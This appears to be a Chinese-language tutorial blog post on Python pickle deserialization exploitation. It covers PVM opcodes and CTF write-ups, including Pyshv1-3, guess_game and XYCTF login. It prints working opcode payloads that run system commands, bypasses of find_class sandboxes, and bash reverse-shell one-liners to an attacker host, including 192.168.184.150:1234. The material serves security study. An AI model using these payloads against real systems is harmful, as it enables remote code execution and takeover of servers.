最近遇到了python反序列化的题目,简单学习一下相关的知识点
基础知识
Python 的序列化指的是将 Python 对象转换为一种格式,以便可以将其存储在文件或通过网络传输。Python 中最常用的序列化模块是 pickle
模块。
序列化使用的是pickle.dumps
方法,反序列化使用的是pickle.loads
方法
上网搜了一下,python序列化和反序列化的过程
大佬的文章写的很详细 https://tttang.com/archive/1885/
-
生成操作码序列:pickle模块在序列化Python对象时,会生成一系列操作码(opcode)来表示对象的类型和值。这些操作码将被保存到文件或网络流中,以便在反序列化时使用。
-
反序列化操作码:在反序列化时,pickle模块读取操作码序列,并将其解释为Python对象。它通过PVM来执行操作码序列。Virtual Machine会按顺序读取操作码,并根据操作码的类型执行相应的操作。
-
执行操作码:PVM支持多种操作码,包括压入常量、调用函数、设置属性等。执行操作码的过程中,Virtual Machine会维护一个栈来存储数据。当执行操作码时,它会将数据从栈中取出,并根据操作码的类型进行相应的操作。执行完成后,结果将被压入栈中。
-
构造Python对象:当操作码序列被完全执行后,PVM会将栈顶的数据作为结果返回。这个结果就是反序列化后的Python对象。
还原的过程,其实就是根据操作码执行一些python语句,来还原出对象的属性,也是无法还原出方法
类似于jvm,python不是编译语言,最后代码的执行工作都是交由pvm执行的
其中pvm的一些关键组成部分如下
指令处理器、栈区和内存区。
-
指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到
.
这个结束符后停止。最终留在栈顶的值将被作为反序列化对象返回。需要注意的是:opcode 是单字节的
带参数的指令用换行符来确定边界
-
栈区:用 list 实现的,被用来临时存储数据、参数以及对象。
-
内存区:用 dict 实现的,为 PVM 的整个生命周期提供存储。称为memo
不同于php,php的序列化结果是易读的字符串,而pickle序列化的结果则是二进制字节流,而且pickle序列化封存对象有6种协议,序列化时是需要指定的,使用的协议版本越高,读取所生成 pickle 对象所需的 Python 版本就要越新。
- v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python
- v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容
- v2 版协议是在 Python 2.3 中加入的,它为存储 new-style class 提供了更高效的机制。
- v3 版协议是在 Python 3.0 中加入的,它显式地支持 bytes 字节对象,不能使用 Python 2.x 解封。这是 Python 3.0-3.7 的默认协议。
- v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。它是 Python 3.8 使用的默认协议。
- v5 版协议是在 Python 3.8 中加入的。它增加了对带外数据的支持,并可加速带内数据处理
例如
import pickle
class test:def __init__(self):self.name = 'hellowrold'
a = test()
serialized = pickle.dumps(a, protocol=3) # 指定PVM 协议版本
print(serialized)
unserialized = pickle.loads(serialized) # 注意,loads 能够自动识别反序列化的版本
print(unserialized.name)
#结果
b'\x80\x03c__main__\ntest\nq\x00)\x81q\x01}q\x02X\x04\x00\x00\x00nameq\x03X\n\x00\x00\x00hellowroldq\x04sb.'
hellowrold
可以看到,生成的结果种有很多\x的十六进制字符串,这些就是opcode,可以用pickletools.dis
方法,查看这些操作码的具体作用
这里就不叙述这些操作码的具体作用了,上面大佬的文章讲的很详细,而且详细的PVM操作码可以在python3的安装目录的Lib里搜索pickle.py查看
重点关注下面这些即可
https://chenlvtang.top/2021/08/23/Python%E4%B9%8BPickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
这个大佬的文章有详细的解释和例子
0版本操作码
操作码 | 功能 | 写法 | 栈变化 |
---|---|---|---|
c | 获取一个全局对象或import一个模块 | c[module]\n[instance]\n | 获得的对象入栈 |
o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 |
i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,然后将从mark开始的元素直到模块作为参数,执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 |
N | 实例化一个None | N | 获得的对象入栈 |
S | 实例化一个字符串对象 | S’xxx’\n(也可以使用双引号、'等python字符串形式) | 获得的对象入栈 |
V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 |
I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 |
F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 |
R | 选择栈上的第一个可调用对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 |
. | 程序结束,栈顶的第一个元素作为pickle.loads()的返回值 | . | 无 |
( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 |
t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 |
) | 向栈中直接压入一个空元组 | ) | 空元组入栈 |
l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 |
] | 向栈中直接压入一个空列表 | ] | 空列表入栈 |
d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 |
} | 向栈中直接压入一个空字典 | } | 空字典入栈 |
p | 将栈顶对象储存至memo_n | pn\n | 无 |
g | 将memo_n的对象压栈 | gn\n | 对象被压栈 |
0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 |
b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 |
s | 将栈的前两个元素作为key-value对(第一为值,第二为健),添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 |
u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 |
a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 |
e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 |
基础利用
一般来说常用的是loads
和dumps
,漏洞的触发一般是通过传参至loads
模块中,然后触发恶意用户希望执行的命令
命令执行
pickle中用来构造函数执行的字节码有三个:R
、i
、o
,不一定反序列化的结果是命令执行的结果,只要在反序列化的过程中能够执行命令即可
R操作码
R操作码就是__reduce__
这个魔术方法,
在对象序列化过程中,pickle
模块会尝试调用对象的 __reduce__
方法。如果对象没有定义 __reduce__
方法,pickle
模块会尝试使用其他方法,比如 __getstate__
和 __setstate__
。
__reduce__
方法返回一个元组或字符串,元组包含足够的信息,以便能够重建对象。这个元组的格式通常如下:
- 一个可调用对象(通常是一个构造函数或工厂函数),用于重建对象。
- 一个包含可调用对象所需参数的元组。
- (可选)对象的内部状态(通常是一个字典),用于恢复对象的状态。
如果返回元组,会把元组的第一个参数当作方法,第二个参数当作这个方法的参数,第二个参数也要是元组
import pickleclass test:def __init__(self):self.name = 'hellowrold'def __reduce__(self):return (exec,("import os;os.system('ls /')",))
a = test()
serialized = pickle.dumps(a, protocol=3)
unserialized = pickle.loads(serialized)
#操作码payload 协议版本0
opcode=b'''cos
system
(S'whoami'
tR.'''
上网还找到了一个payload:(exec,("raise Exception(__import__('os').popen('whoami').read())",))
感觉类似ssti,要想办法把os模块搞进来,从而执行系统命令,
知道就是__reduce__
方法也要学习对应的操作码payload,有时只知道生成好的opcode,要在复杂的原始opcode后面添加我们的payload,不过能用reduce的话,随便生成个类,不和靶机相同,还原时也会被执行命令,我们在学习手写payload时,建议学习0版本的opcode,非常易懂
i操作码
payload
opcode=b'''(S'whoami'
ios
system
.'''
test=pickle.loads(opcode)
opcode为什么要这么写呢,查上面的表即可知道
(
压入mark标记 ,标志复杂的对象的开始 => S'whoami'
实例化一个字符串对象,值为whoami => ios\nsystem\n
i操作码语法i[module]\n[callable]\n
,寻找上一个mark标记,找到了i和mark之间的数据:字符串whomai,放入一个元组中,并把这个元组作为os.system的执行参数,同时把函数的执行结果入栈
实际利用可以去除原本的序列化字符串结束符.
,再把这个opcode拼接上去,如上面那个test的例子
serialized = pickle.dumps(a, protocol=3)
opcode=b'''(S'whoami'
ios
system
.'''
target=b'\x80\x03c__main__\ntest\nq\x00)\x81q\x01}q\x02X\x04\x00\x00\x00nameq\x03X\n\x00\x00\x00hellowroldq\x04sb'+opcode
try_=pickle.loads(target)
后面其他的字节码payload都可以通过查表得知其含义
c+o操作码
payload
opcode=b'''(cos
system
S'whoami'
o.'''
c操作码写法 c[module]\n[instance]\n
,获得os.system方法,装入string对象whoami
最后让o来执行,i操作码后面不用o,它相当于c和o的组合
变量覆盖
主要用到b操作码给对象赋值
demo
import pickle
import secret
print("secret变量的值为:"+secret.secret)
opcode=b'''c__main__
secret
(S'secret'
S'helloworld'
db.'''
hack=pickle.loads(opcode)
print("secret变量的值为:"+secret.secret)
#secret变量的值为:secret
#secret变量的值为:helloworld
opcode解析
opcode | 功能 | 栈的变化 |
---|---|---|
c__main__ | 从最高层代码运行环境 | main模块入栈 |
secret | 引入secret模块或类 | secret入栈 |
( | 压入mark标记 | mark入栈 |
S’secret’\nS’helloworld’ | 实例化两个字符串对象 | 两个字符串对象入栈 |
d | 寻找上一个mark标记,生成一个字典,并把该mark标记和d之间的变量按入栈先后顺序设为字典中的键值, | 字典{‘secret’:‘hellowrold’}入栈,mark,两个字符串出栈 |
b | 用栈顶字典{‘secret’:‘hellowrold’}给栈顶下一个元素,即secret模块更新属性 | 引入的secret模块的secret值被修改 |
变量引用
类似于php,知道目标会有哪些类,我们可以在本地也搞个同样的类,修改一下生成的字节码,导致目标还原时引用到了不该引用的变量
如:
import pickle
import pickletoolsclass secret:pwd = "hahaha"class test:def __init__(self):self.pwd = secret.pwd
a=test()
# pickletools.optimize优化,更易读
serialized = pickletools.optimize(pickle.dumps(test, protocol=0))
print(serialized)
假设目标有个secret.py,里面有个pwd变量,目标:假设目标收到我们修改过的字节码,还原test对象时让他引用secret.py的pwd
现在这个生成的字节码,使用的就是本地class类的pwd
b'ccopy_reg\n_reconstructor\n(c__main__\ntest\nc__builtin__\nobject\nNtR(dVpwd\nVhahaha\nsb.'
关注后面的Vhahaha
,表示unicode字符串,改为csecret\npwd
,用c操作码引入secret模块的pwd
b'ccopy_reg\n_reconstructor\n(c__main__\ntest\nc__builtin__\nobject\nNtR(dVpwd\ncsecret\npwd\nsb.'
目标还原模拟
import secret
import pickle
import pickletoolsclass test:def __init__(self):self.pwd = secret.pwd
target=b'ccopy_reg\n_reconstructor\n(c__main__\ntest\nc__builtin__\nobject\nNtR(dVpwd\ncsecret\npwd\nsb.'
print(vars(pickle.loads(target)))
成功引用到secret.py的pwd
相关过滤和绕过
过滤R
使用i或c+o操作码替代
find_class限制模块
bulitins :Code-Breaking 2018 picklecode
pickle存在这些漏洞,pickle也出了防御的方法就是通过重写Unpickler.find_class()
来限制全局变量的使用
在0版协议opcode中,只有c
、i
、这两个字节码与全局对象有关,当出现这两个字节码时会调用find_class
,所以我们使用时不能违反其限制
看之前的操作码基础payload,基本上都是直接引入os模块的system方法执行命令,如果用find_class方法限制了引入的类,就不能引入os了,这里是限制了只能引入builtins模块,builtins模块里都是py的内置方法,其中也有能执行命令的敏感函数,如eval,
接下来的例子都是网上找到的一些题目:
import builtins
import io
import pickle
# 需要限制反序列化对象时可以使用的类
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
# 定义RestrictedUnpickler类继承自pickle.Unpickler
class RestrictedUnpickler(pickle.Unpickler):# 重写find_class方法def find_class(self, module, name):# 如果被反序列化的对象的类属于builtins模块中的安全类,则返回该类if module == "builtins" and name not in blacklist:return getattr(builtins, name)# 如果不是安全类,就抛出异常,禁止反序列化raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))# 定义一个帮助函数restricted_loads来反序列化对象
def restricted_loads(s):"""Helper function analogous to pickle.loads()."""# 将传入的字符串s转换为bytes,并使用RestrictedUnpickler类反序列化return RestrictedUnpickler(io.BytesIO(s)).load()
思路,只能使用bulitins
模块,而且不能直接使用builtins模块的eval或exec方法,大佬的方法很巧妙,
1.利用builtins.getattr
方法(从对象中获取指定名称的属性),从bulitins的dict类中,取出可以获取字典属性的get方法,即执行getattr(bulitins.dict,‘get’)
2.利用get方法,从bulitins模块的全局变量字典bulitins.globals()
中再取出bulitsin
模块,这样拿到的Bulitins模块不受find_class限制,因为find_class只限制c,i这种直接引入的,相当于执行dict.get(builtins.globals(),'builtins')
,dict类的get方法一般要绑定某个字典使用,如字典a.get('b')
,否则就要在方法参数中指定字典,所以能获取到builtins模块
3拿到bulitins模块,再用getattr取出eval方法,执行命令即可
当时看这个思路,本来想在操作码中看能不能直接getattr(__builtins__,'eval')
但是在反序列化时会报错
R操作码版本
大佬的opcode payload
opcode=b'''cbuiltins
getattr
p0
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2
00g1
(g2
S'__builtins__'
tRp3
0g0
(g3
S'eval'
tR(S"__import__("os").system('dir')"
tR.'''
写一下自己对这个opcode执行过程的一些浅薄理解
1-2 :c操作码引入builtins.getattr方法,该方法入栈
3 :栈顶元素builtins.getattr方法存入memo_0
4-5 :mark标记入栈,c引入builtins.dict方法,该方法入栈
6 :字符串对象'get'入栈
7 :t:寻找上一个mark标记,把之间的数据组成一个元组,放到栈顶,生成元组(bulitins.dict,get) ,R:执行栈中最靠近栈顶的可调用对象或方法,最接近栈顶的元组当作方法参数,并把执行结果放入栈顶,方法和元组出栈,这里的方法是builtins.getattr方法,所以执行bulintins.gettattr(bulitins.dict,get)(获取dict类的get方法),执行结果入栈,p1:栈顶元素存入memo_1
8-9 builtins.globals方法入栈
10 :)压入空元组,R执行builtins.globals()方法,执行结果(builtins模块的全局变量字典)入栈 p2:栈顶元素存入memo_2
11 :00 连续丢弃两个栈顶元素,此时栈为空 g1:memo_1元素即 dict.get方法入栈
12 :(mark标记入栈,g2:将memo_2元素即biultins模块的全局变量字典入栈,
13 :字符串'bulitins'入栈
14 :跟7类似,这里简写-> 生成元组(bulitins.golbals,'builtins')并放入栈顶,此时最靠近的栈顶的方法是dict.get,所以执行dict.get(bulitins.golbals,'builtins')的结果,就是获得了builtins模块入栈,存入memo_3
15 :抛弃栈顶元素bulitins,此时栈为空栈,memo_0元素bulitins.getattr入栈
16 :mark标记入栈,memo_3元素bulitins模块入栈,
17 :字符串对象'eval'入栈
18 :生成元组(builtins,'eval'),其实规范来说应该是(dict.get(builtins.globals(),'builtins'),'eval'),用前者简写,R执行builtins.getattr(builtins,'eval')获得eval方法,调用方法和元组出栈,此时栈中只有执行结果eval方法, ( 压入mark标记,字符串'__import__("os").system("whoami")'入栈
19 :生成元组('__import__("os").system("whoami")'),R执行eval('__import__("os").system("whoami")'),调用方法和元组出栈,执行结果入栈 .结束反序列化还原操作
理解opcode过程中,强烈建议,模拟一下还原过程中栈的进出以及memo区的存储,加深印象
上面的opcode明显都要用R字节码,如果过滤了R,我们还可以用O操作码替代,手写了一个,虽说能跑,但感觉很不优雅,佬们轻喷
opcode=b"""cbuiltins
getattr
p0
0(cbuiltins
globals
op1
0(g0
cbuiltins
dict
S'get'
op2
0(g2
g1
S'builtins'
op3
0(g0
g3
S'eval'
op4
0(g4
S"__import__('os').system('whoami')"
o."""
sys:BalsnCTF 2019 Pyshv1
如果限制了只能引入sys模块,该如何操作
如果 Python 是刚启动的话,所列出的模块就是解释器在启动时自动加载的模块,存储在sys.modules这个字典中,有些库是默认被加载进来的,例如 os,但是不能直接使用,原因在于 sys.modules 中未经 import 加载的模块对当前空间是不可见的。
因为sys.modules 还包含了sys模块本身,所以里面的'sys'
健对应的模块我们是能直接使用的,所以如果能sys.modules['sys']=sys.modules
,相当于sys=sys.modules,利用sys去调用原本是sys.modules里的对象,可以利用s操作码更新modules字典
然后去获取sys.modules.get方法,得到get方法,,然后执行sys.modules.get('os')
,取出os模块,再把sys.modules[‘sys’]覆盖为sys.modules[‘os’],sys['sys']=os
这样一来os模块就被引进来了,直接使用system方法执行命令即可,非常巧秒,大佬的opcode
opcode=b"""csys
modules
p0
S'sys'
g0
scsys
get
(S'os'
tRp1
0S'sys'
g1
scsys
system
(S'whoami'
tR0."""
opcode解析
1-3 :引入sys.modules字典入栈,并存储到memo_0
4 :字符串'sys'入栈
5 :取出memo_0元素,即sys.modules字典入栈
6 :s操作码,此时栈中有三个元素,自上而下是sys.modules,'sys',sys.modules,看一下s操作码,所以这里就是让sys.modules为value,'sys'为key,更新到字典sys.modules中,即sys.modules['sys']=sys.modules ,
6-7 此时sys就是sys.moudles,引入sys.get方法
8 压入mark标记,压入字符串'os'
9 创建空元组,内容为('os'),R操作码实现:执行方法sys.get('os')获取os模块,os模块入栈且存到memo_1中
10 弹出os模块,字符串'sys'入栈
11 从memo_1中取出os模块入栈
11-12 s:类似6-7,更新sys.modules字典,sys.modules['sys']=os
12-13 引入sys.system
13-14 R操作码执行:system('whomai'),执行结果入栈,反序列化结束时栈里只能有一个元素,此时有两个:whoami的执行结果和sys.modules,所以需要弹出一个
自定义空模块:BalsnCTF 2019 Pyshv2
关键代码
whitelist=['structs']
class RestrictedUnpickler(pickle.Unpickler):def find_class(self, module, name):if module not in whitelist or '.' in name:raise KeyError('The pickle is spoilt :(')module = __import__(module) return getattr(module, name)
structs是自定义的空模块,,不能cbuiltins
直接拿内置方法,但可以通过__builtins_
这个公有字典来取
在pickle源码中,find_class调用了__import__
或getattr实现引入模块,如:
而且官方的重写find_class方法例子中,也只有return getattr,即__import__
和getattr
这两个方法一般不会同时使用**,而这题不同,它们同时使用了,这就有了可乘之机
因为只能引入structs这个模块,它又是空的,而py中有一些操作类的魔术方法, 由于py的灵活性,部分魔术方法也可对模块使用,就用这些魔术方法,来达到我们的目的,魔术方法及其功能在这里可以查看,https://pyzh.readthedocs.io/en/latest/python-magic-methods-guide.html
思路:
1.还是要拿到能获取字典属性的get方法,现在不能用cbuiltins\ngetattr
从dict类拿了,但是还有一个魔术方法平替__getattribute__
,跟getattr有一样的功能,可以通过structs._getattribute__
来调用,但是__getattribute__
不能像getattr一样,在方法调用时传入指定要取的字典,它只有一个参数,即要取的属性,由谁调用就从从哪里取
2.所以,当调用structs._getattribute__
,它取的是哪个字典呢?是structs.__dict__
这个字典,它存储了这么模块所有的属性,如果这个字典被修改,那么模块的属性也会改变,一些类的属性修改也是通过修改它的__dict__
字典实现的,
3.前面提到,这一题同时使用了__import__
和getattr
来引入模块,前者却是可以被覆盖的,且先被调用,如果我们让structs.__dict__['structs']=structs.__builtins__
,再把__import__
覆盖为structs._getattribute__
,即structs.__dict__['__import__']=structs._getattribute__
,那么如果执行opcodecstructs\nget
,
此时在find_class方法中,module是structs,name是get, __import__('structs')
变为structs.__getattribute__('structs')
,根据前面对structs模块属性的修改,这个的执行结果就是structs.__builtins__
,然后在return getattr(structs.__builtins__,'get')
,这样就拿到了能获取__builtins__
字典的get方法,后面直接取出eval,相当于sturcts.__builtins__.get('eval')
,非常巧妙
opcode:
opcode=b"""cstructs
__getattribute__
p0
0cstructs
__dict__
S'structs'
cstructs
__builtins__
p1
sg1
S'__import__'
g0
scstructs
get
(S'eval'
tR(S'print(open("flag.txt").read())'
tR."""
关键opcode解析
scstructs s操作码就是更新__builtins__字典,把__import__方法改为__getattribute__
get 更新完后,执行c操作码,就像思路中提到的,此时栈顶就是__builtins__.get方法,所以后面再入栈一个参数元组('eval'),R执行拿到eval方法,
因为import语句就是调用__import__
实现的,此时import无法使用,不能引入os执行命令,得用其他方法拿flag
从这两题的一些思考
- 实现rce有大概两种思路,1是直接引入os.system 执行系统命令 2是拿到builitins的eval执行任意py代码
- 在有find_class限制后,一般都不能直接引入os,只能想办法拿到eval,在eval执行的代码中再import os,而eval存在于
__builtins__
这个全局变量字典中,要取出来,必须要先拿到dict类get这个方法,再从全局变量字典中拿到eval方法 - 怎么拿到get方法,有两个思路,
任意模块.__builtins__.get
或getattr(builtins.dict,'get')
描述符:BalsnCTF 2019 Pyshv3
源码:
# File: securePickle.py
import pickle
import iowhitelist = []# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):def find_class(self, module, name):if module not in whitelist or '.' in name:raise KeyError('The pickle is spoilt :(')return pickle.Unpickler.find_class(self, module, name)def loads(s):"""Helper function analogous to pickle.loads()."""return RestrictedUnpickler(io.BytesIO(s)).load()dumps = pickle.dumps# File: server.py
import securePickle as pickle
import codecs
import os
import structspickle.whitelist.append('structs')class Pysh(object):def __init__(self):self.key = os.urandom(100)self.login()self.cmds = {'help': self.cmd_help,'whoami': self.cmd_whoami,'su': self.cmd_su,'flag': self.cmd_flag,}def login(self):with open('flag.txt', 'rb') as f:flag = f.read()flag = bytes(a ^ b for a, b in zip(self.key, flag))user = input().encode('ascii')user = codecs.decode(user, 'base64')user = pickle.loads(user)print('Login as ' + user.name + ' - ' + user.group)user.privileged = Falseuser.flag = flagself.user = userdef run(self):while True:req = input('$ ')func = self.cmds.get(req, None)if func is None:print('pysh: ' + req + ': command not found')else:func()def cmd_help(self):print('Available commands: ' + ' '.join(self.cmds.keys()))def cmd_whoami(self):print(self.user.name, self.user.group)def cmd_su(self):print("Not Implemented QAQ")# self.user.privileged = 1def cmd_flag(self):if not self.user.privileged:print('flag: Permission denied')else:print(bytes(a ^ b for a, b in zip(self.user.flag, self.key)))if __name__ == '__main__':pysh = Pysh()pysh.run()# File: structs.py
class User(object):def __init__(self, name, group):self.name = nameself.group = groupself.isadmin = 0self.prompt = ''
只要user.privileged不为false,就可以拿到flag,但是题目在反序列化后,又给privileged赋值为false,所以在反序列化过程中覆盖修改行不通
但是还有一个东西可以利用,就是描述符类
当一个类实现了__get__
、__set__
和__delete__
任一方法时,该类被称为“描述符”类,该类的实例化为描述符。对于一个某属性为描述符的类来说,其实例化的对象在查找该属性或设置属性时将不再通过__dict__
,而是调用该属性描述符的__get__
、__set__
或__delete__
方法。需要注意的是,一个类必须在声明时就设置属性为描述符,使之成为类属性,而不是对象属性,此时描述符才能起作用。
如这个例子:
class test(object):def __set__(self, obj, val):passname='hello'm = test()
test.privileged = m
print(m.privileged)
m.name = 'wrold'
print(m.name,m.privileged)
m.privileged = False
if m.privileged:print('yes')
,
在这个例子中,test类设置__set__
方法,成为描述符类,实例化一个m对象后,把test类的privileged属性设置为m描述符对象本身,再去修改privileged,就会触发__set__
,这个方法我设了pass,所以会修改失败,
大佬的实现opcode
cstructs
User
p0
(I111
I222
tRp1
g0
(N}S'__set__'
g0
sS'privileged'
g1
stbg1
.
去看了pickle中b操作码的源码,才发现b操作码更新属性还可以用元组(应该是用来恢复__slotstate__
定义的静态属性)
相关源码如下
def load_build(self):stack = self.stackstate = stack.pop()inst = stack[-1]# 检查是否有`__setstate__`方法setstate = getattr(inst, "__setstate__", None)if setstate is not None:setstate(state)returnslotstate = None#检查弹出的栈顶元素是不是两个元素的元组,是元组就把元组第一个元素用来更新栈顶第二个元素的属性#否则当作字典去更新if isinstance(state, tuple) and len(state) == 2:state, slotstate = stateif state:inst_dict = inst.__dict__intern = sys.internfor k, v in state.items():if type(k) is str:inst_dict[intern(k)] = velse:inst_dict[k] = vif slotstate:for k, v in slotstate.items():setattr(inst, k, v)dispatch[BUILD[0]] = load_build
SUCTF-2019:guess_game
关键代码
# file: Ticket.py
class Ticket:def __init__(self, number):self.number = numberdef __eq__(self, other):if type(self) == type(other) and self.number == other.number:return Trueelse:return Falsedef is_valid(self):assert type(self.number) == intif number_range >= self.number >= 0:return Trueelse:return False# file: game_client.py
number = input('Input the number you guess\n> ')
ticket = Ticket(number)
ticket = pickle.dumps(ticket)
writer.write(pack_length(len(ticket)))
writer.write(ticket)
client 端接收数字输入,用这个数字生成的 Ticket 对象序列化后发送给 server 端。
# file: game_server.py 有删减
from guess_game.Ticket import Ticket
from guess_game.RestrictedUnpickler import restricted_loads
from struct import unpack
from guess_game import game
import syswhile not game.finished():ticket = stdin_read(length)ticket = restricted_loads(ticket)assert type(ticket) == Ticketif not ticket.is_valid():print('The number is invalid.')game.next_game(Ticket(-1))continuewin = game.next_game(ticket)if win:text = "Congratulations, you get the right number!"else:text = "Wrong number, better luck next time."print(text)if game.is_win():text = "Game over! You win all the rounds, here is your flag %s" % flagelse:text = "Game over! You got %d/%d." % (game.win_count, game.round_count)print(text)# file: RestrictedUnpickler.py 对引入的模块进行检测
class RestrictedUnpickler(pickle.Unpickler):def find_class(self, module, name):# Only allow safe classesif "guess_game" == module[0:10] and "__" not in name:return getattr(sys.modules[module], name)# Forbid everything else.raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))def restricted_loads(s):"""Helper function analogous to pickle.loads()."""return RestrictedUnpickler(io.BytesIO(s)).load()
server将接受到的数据反序列化,还原成一个ticket对象,再自己生成一个ticket对象,但是数字是随机的,传过来的要和本地的生成对象中的随机数字相等算赢,赢了10次才能拿flag
要覆盖game的 win_count 和 round_count。换句话来说,就是需要在反序列化 Ticket 对象前执行:
from guess_game import game # __init__.py game = Game()
game.round_count = 10
game.win_count = 10
开始构造
cguess_game
game
}S'round_count'
I10
sS'win_count'
I10
sb
但是在反序列化后,还有个assert type(ticket) == Ticket
,所以覆盖完后,栈顶要是一个Ticket对象,所以这个payload后面要跟一个能还原Ticket对象的opcode,自己生成一个对象然后dumps一下即可
ticket=Ticket(3)
print(pickle.dumps(ticket))
b'\x80\x03cguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x03sb.'
完整payload
opcode = b'''cguess_game
game
}S"win_count"
I10
sS"round_count"
I9
sbcguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\xffsb.'''
pker工具使用
有一个工具pker,利用ast帮助我们生成opcode,地址:https://github.com/eddieivan01/pker
功能
- 变量赋值:存到memo中,保存memo下标和变量名即可
- 函数调用
- 类型字面量构造
- list和dict成员修改
- 对象成员变量修改
但是也是有它自己的语法,如:
以下module都可以是包含.
的子module
调用函数时,注意传入的参数类型要和示例一致
对应的opcode会被生成,但并不与pker代码相互等价
语法
GLOBAL对应opcode:b'c'获取module下的一个全局对象(没有**import**的也可以,比如下面的os):GLOBAL('os', 'system')输入:module,instance(callable、module都是instance)INST对应opcode:b'i'建立并入栈一个对象(可以执行一个函数):INST('os', 'system', 'ls') 输入:module,callable,para OBJ对应opcode:b'o'建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)):OBJ(GLOBAL('os', 'system'), 'ls')输入:callable,paraxxx(xx,...)对应opcode:b'R'使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用)li[0]=321或globals_dic['local_var']='hello'对应opcode:b's'更新列表或字典的某项的值xx.attr=123对应opcode:b'b'对xx对象进行属性设置return对应opcode:b'0'出栈(作为pickle.loads函数的返回值):return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)
用法,现在一个文件写上pker语句,例如R操作码执行命令
r文件
system=GLOBAL('os','system')
system('whoami')
return
然后python3 pker.py <r
即可
R经常被过滤,不如用o操作码的
opcode=b"(cos\nsystem\nS'whoami'\no."
opcode=b"(cos\nsystem\nS'ls /'\no."
反弹shell
b'(cos\nsystem\nS\'bash -c "bash -i >& /dev/tcp/192.168.184.150/1234 0>&1"\'\no.'
使用
针对Code-Breaking 题目的pker代码,可以生成有相同效果的opcode,就是会多次调用存入memo的语句,比较冗长
getattr=GLOBAL('builtins','getattr')
dict=GLOBAL('builtins','dict')
dict_get=getattr(dict,'get')
glo_dict=GLOBAL('builtins','globals')()
builtins=dict_get(glo_dict,'__builtins__')
eval=getattr(builtins,'eval')
eval("__import__('os').system('whoami')")
return
上面练习的其他的题目 pker代码在pker的test文件夹里都有
题目实战
XYCTF2024 login
题目只给了登录,注册两个页面,观察请求头,发现cookie中有个Remberme字段比较可疑,
base64解码后发现,
name hello ,pwd ,123,这些都是登录用到的数据,这应该是存储序列化用户对象的opcode,拿到python base64解码一下
完全符合3版本的opcode,看来gASV开头的base64大概率是opcode
经过测试 过滤了R,于是用o操作码执行命令,再base64编码一下
opcode=b'(cos\nsystem\nS\'bash -c "bash -i >& /dev/tcp/vps_ip/port 0>&1"\'\no.'
print(base64.b64encode(opcode)
更新cookie的Remberme字段,再重定向到首页即可,
newstarctf Yes’s pikle
给了源码
# -*- coding: utf-8 -*-
import base64
import string
import random
from flask import *
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *
app = Flask(__name__)def generate_random_string(length=16):characters = string.ascii_letters + string.digits # 包含字母和数字random_string = ''.join(random.choice(characters) for _ in range(length))return random_string
app.config['SECRET_KEY'] = generate_random_string(16)
key = jwk.JWK.generate(kty='RSA', size=2048)
@app.route("/")
def index():payload=request.args.get("token")if payload:token=verify_jwt(payload, key, ['PS256'])session["role"]=token[1]['role']return render_template('index.html')else:session["role"]="guest"user={"username":"boogipop","role":"guest"}jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))return render_template('index.html',token=jwt)@app.route("/pickle")
def unser():if session["role"]=="admin":pickle.loads(base64.b64decode(request.args.get("pickle")))return render_template("index.html")else:return render_template("index.html")
if __name__ == "__main__":app.run(host="0.0.0.0", port=5000, debug=True)
这里访问首页会给个jwt的token,考点就是jwt的一个CVE,CVE-2022-39227,需要一个已知token且python-jwt版本<3.3.4,然后用脚本改成我们想要的token,poc地址 https://github.com/user0x1337/CVE-2022-39227
用法
python3 cve_2022_39227.py -j <JWT-WEBTOKEN> -i "<KEY>=<VALUE>"
